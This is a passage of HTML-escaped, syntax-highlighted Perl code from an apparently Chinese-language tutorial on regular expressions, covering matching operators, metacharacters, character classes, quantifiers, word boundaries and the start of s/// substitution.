class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 若比對失敗，則 print\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;It doesn\u0026#39;t match\\n\u0026#34;\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"nv\"\u003e$string\u003c/span\u003e \u003cspan class=\"o\"\u003e!~\u003c/span\u003e \u003cspan class=\"sr\"\u003e/World/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 不指定比對目標，預設為 $_\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;It matches\\n\u0026#34;\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"sr\"\u003e/World/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 大小寫不同，比對失敗\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /world/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 空白字元也視為一般字元，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /o W/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對失敗\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /World /\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2) 自訂分隔字元\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 等同於 \u0026#34;Hello World\u0026#34; =~ /World/;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e \u003cspan class=\"sr\"\u003em!World!\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e \u003cspan class=\"sr\"\u003em{World}\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# The same\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對成功，\u0026#39;/\u0026#39; 現在變成一般字元\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;/usr/bin/perl\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e \u003cspan class=\"n\"\u003em\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;/perl\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3) 中介字符 (metacharacter) 與字符集 (character class)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# ^：比對行首\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /^Hello/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對失敗，因為 World 不在行首\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /^World/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# $：比對行尾\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /World$/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對失敗，因為 World 不在行尾\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /Hello$/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# .：比對除了換行(\\n)以外的任意一個字元\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /Wo.ld/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# *：比對其前一個項目零次以上 (as many as possible)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# +：比對其前一個項目一次以上 (as many as possible)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# ?：比對其前一個項目零次或一次 (as many as possible)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /Hel*o/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# l* 代表 \u0026#39;l\u0026#39; 零次以上，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /Hel+o/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# l* 代表 \u0026#39;l\u0026#39; 一次以上，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# .* 代表 任意字元零次以上，比對成功，\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 但 Perl 所比對的結果是：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \u0026#39;That is a cat, not a hat\u0026#39; 不是 \u0026#39;That\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;That is a cat, not a hat.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /T.*at/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 加入 \u0026#39;?\u0026#39; 使比對到的資料越短越好，\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 此時 Perl 所比對的結果是：\u0026#39;That\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;That is a cat, not a hat.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /T.*?at/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# []：比對中括號中任意一個字符\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對開頭是 A 或 B 或 C，比對失敗\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hat\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /^[ABC]/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對開頭是 A 或 B 或 C 或 D，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Cat\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /^[A-D]/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# [^]：與 [] 相反，比對不在中括號中任意一個字符\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# ^[^ABC] 比對開頭不是 A 或 B 或 C 的，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hat\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /^[^ABC]/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對非英文字結尾，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /[^A-Za-z]$/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# |：比對任意一組字符\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對 cat 或 dog，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Mary has a cat.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /cat|dog/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# {}：指定前一個項目出現的次數\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# l{1,3} 代表 \u0026#39;l\u0026#39; 一到三次，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Helllo World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /Hel{1,3}o/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# l{2,} 代表 \u0026#39;l\u0026#39; 兩次以上，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Helllo World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /Hel{2,}o/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# l{2} 代表 \u0026#39;l\u0026#39; 兩次，比對失敗\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Helllo World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /Hel{2}o/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\b：比對單字邊界\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\B：比對非單字邊界\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對 Hello 這個單字，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /\\bHello\\b/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對 Hello 這個單字，比對失敗\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Helloworld\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /\\bHello\\b/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Helloworld\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /\\bHello\\B/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 比對 word 這個單字，比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#39;This is a \u0026#34;word\u0026#34;.\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /\\bword\\b/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\w：word      [a-zA-Z0-9_]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\W：non-word      [^a-zA-Z0-9_]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\s：space     [ \\t\\n\\r\\f\\v]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\S：non-space     [^ \\t\\n\\r\\f\\v]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\d：digit     [0-9]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# \\D：non-digit     [^0-9]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e=~\u003c/span\u003e\u003cspan class=\"sr\"\u003e /^\\w+\\W\\w+$/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 比對成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Reference : perlre(1)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"常規表達式二\"\u003e常規表達式（二）\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 常規表達式(二)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1) s/// 取代\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello World.\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sr\"\u003es/World/Bill/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 取代 Hello 成 Bill\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# Hello Bill.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 